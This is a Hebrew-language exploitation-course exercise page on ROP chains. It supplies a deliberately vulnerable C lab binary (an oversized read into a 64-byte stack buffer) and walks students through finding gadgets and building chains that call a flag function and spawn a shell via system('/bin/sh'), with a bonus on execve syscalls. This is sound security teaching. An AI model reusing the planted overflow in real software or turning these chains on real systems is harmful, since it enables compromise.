לדלג לתוכן

4.3 ROP וגאדג'טים תרגול

תרגול - ROP וגאדג'טים

בתרגול הזה תבנו ROP chains בעצמכם, שלב אחרי שלב: קודם קריאה לפונקציה עם ארגומנט שאתם שולטים בו, ואז chain מלאה שקוראת ל-system("/bin/sh") ופותחת shell. תעבדו גם ידנית (כתובות גאדג'ט מפורשות) וגם עם אובייקט ה-ROP של pwntools, כדי להרגיש את שתי הדרכים. עבדו לפי הסדר - כל תרגיל בונה על הקודם.

הכנה - הבינארי

צרו את קובץ המקור הבא. שימו לב שיש בו פונקציית secret שמדפיסה דגל רק אם מעבירים לה את הערך הנכון, ופונקציה never_called שמכריחה את system ואת "/bin/sh" להיכנס לבינארי:

// rop_lab.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void secret(unsigned long code) {
    if (code == 0xdeadbeefcafe) {
        puts("SECRET UNLOCKED: FLAG{rop_arg_control}");
    } else {
        puts("wrong code.");
    }
}

// not called in the normal flow - just so system and /bin/sh are in the binary
void never_called() {
    system("/bin/sh");
}

void vuln() {
    char buf[64];
    puts("rop_lab> send bytes:");
    read(0, buf, 400);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

קמפלו ל-64 ביט, בלי canary ובלי PIE:

gcc -fno-stack-protector -no-pie -o rop_lab rop_lab.c

הערה על הסביבה: השאירו את ההגנות כמו שהן - NX פעיל, בלי canary, בלי PIE. לא צריך לכבות ASLR, כי כל הכתובות שנשתמש בהן (הקוד, ה-PLT, המחרוזת) קבועות בבינארי לא-PIE.

תרגיל 1 - סיור והכנה

לפני שתוקפים, מיפוי מלא של החומרים.

  1. הריצו checksec --file=./rop_lab וּודאו שאתם רואים NX enabled, No canary, No PIE.
  2. מצאו את הכתובות של secret, של system@plt ושל המחרוזת "/bin/sh":
  3. objdump -d rop_lab | grep '<secret>:'
  4. objdump -d rop_lab | grep '<system@plt>:'
  5. ROPgadget --binary rop_lab --string '/bin/sh'
  6. מצאו את ה-offset עד הreturn address של vuln בשיטת ה-cyclic מ-2.2.

רמז: הbuffer הוא 64 בתים ו-saved rbp הוא 8 בתים ב-64 ביט, אז ה-offset אמור לצאת סביב 72. אל תניחו, תמדדו עם cyclic 200 ו-cyclic_find.

תרגיל 2 - מציאת גאדג'טים

תרגלו את שלושת הכלים על אותו בינארי, כדי לראות שהם מסכימים.

  1. מצאו את pop rdi ; ret בשלוש דרכים:
  2. ROPgadget --binary rop_lab | grep 'pop rdi ; ret'
  3. ropper --file rop_lab --search "pop rdi; ret"
  4. מתוך python: rop = ROP(ELF('./rop_lab')) ואז rop.find_gadget(['pop rdi', 'ret']).
  5. מצאו גם גאדג'ט ret בודד (תצטרכו אותו לalignment בתרגיל 4): ROPgadget --binary rop_lab | grep ': ret$'.
  6. ודאו ששלוש הדרכים מחזירות את אותה כתובת ל-pop rdi ; ret.

רמז: זכרו שהכתובות ספציפיות לבינארי שלכם. אל תעתיקו כתובות מההרצאה - שלפו את שלכם.

תרגיל 3 - ROP chain עם ארגומנט מבוקר

המטרה: לקרוא ל-secret(0xdeadbeefcafe) ולראות את הדגל. הפונקציה מקבלת ארגומנט אחד, אז אתם צריכים ש-rdi יכיל 0xdeadbeefcafe ברגע הקפיצה ל-secret.

  1. בנו ידנית chain: padding עד ה-offset, ואז [pop rdi] [0xdeadbeefcafe] [secret].
  2. השתמשו ב-flat({offset: [...]}) כדי לבנות את הpayload.
  3. הריצו וּודאו שאתם רואים את שורת SECRET UNLOCKED.

רמז: הזרימה היא ret של vuln -> pop rdi ; ret שולף את הערך ל-rdi -> ה-ret של הגאדג'ט קופץ ל-secret כש-rdi כבר מוכן. הערך 0xdeadbeefcafe הוא 6 בתים, p64 יטפל בזה. בגלל שאנחנו קוראים עם read, בתים אפסיים בכתובות לא בעיה.

תרגיל 4 - ROP chain ל-shell

עכשיו השלב הגדול: system("/bin/sh") שפותח shell אמיתי.

  1. בנו ידנית chain: [pop rdi] [כתובת /bin/sh] [system@plt], עם padding עד ה-offset.
  2. הריצו. אם ה-shell לא נפתח והתוכנית קורסת בתוך libc, הציצו ב-gdb: תראו קריסה על הוראת movaps בתוך do_system. הוסיפו גאדג'ט ret בודד לפני pop rdi ונסו שוב.
  3. כשמשיגים shell, הריצו id ו-ls כדי לוודא שהוא אינטראקטיבי.

רמז: זו בדיוק מלכודת הalignment מההרצאה. הסדר הנכון עם התיקון הוא [ret] [pop rdi] [binsh] [system]. אם תשכחו את ה-ret, יש סיכוי טוב לקריסה על movaps.

תרגיל 5 - אותו דבר עם אובייקט ROP

שכתבו את תרגיל 4 בלי כתובות קשיחות, בעזרת אובייקט ה-ROP של pwntools.

  1. השתמשו ב-binsh = next(elf.search(b'/bin/sh\x00')) כדי למצוא את המחרוזת.
  2. בנו: rop = ROP(elf), ואז rop.raw(rop.find_gadget(['ret'])[0]) לalignment, ואז rop.call('system', [binsh]).
  3. הדפיסו את rop.dump() והשוו לכתובות שמצאתם ידנית בתרגיל 4. הן אמורות להתאים.
  4. שלחו flat({offset: rop.chain()}) וּודאו shell.

רמז: rop.call('system', [binsh]) מוצא את pop rdi ; ret בעצמו. זכרו את גאדג'ט ה-ret לalignment לפני הקריאה.

תרגיל 6 (בונוס) - execve דרך syscall

אתגר מתקדם, לחשוב עליו גם אם לא תשלימו אותו: אילו לא היה בבינארי system כלל, איך הייתם פותחים shell?

  1. חשבו: execve("/bin/sh", 0, 0) דורש rax=59, rdi מצביע ל-"/bin/sh", rsi=0, rdx=0, ואז syscall.
  2. חפשו בבינארי pop rax ; ret ו-syscall עם ROPgadget --binary rop_lab --only 'pop|syscall|ret'. סביר שלא תמצאו syscall נוח בבינארי דינמי קטן - זה בדיוק הלקח.
  3. תארו במילים: אם המחרוזת "/bin/sh" לא הייתה קיימת, איזה גאדג'ט הייתם צריכים כדי לשתול אותה ב-.bss? (רמז: mov [rdi], rax ; ret).

רמז: זו הסיבה שבבינארי דינמי קטן מעדיפים לקרוא ל-system או לקפוץ ל-libc. גאדג'ט syscall ו-pop rax נפוצים בעיקר בבינארי סטטי. תראו את זה שוב כשנעבור ל-ret2libc מלא עם דליפת כתובות ב-4.4.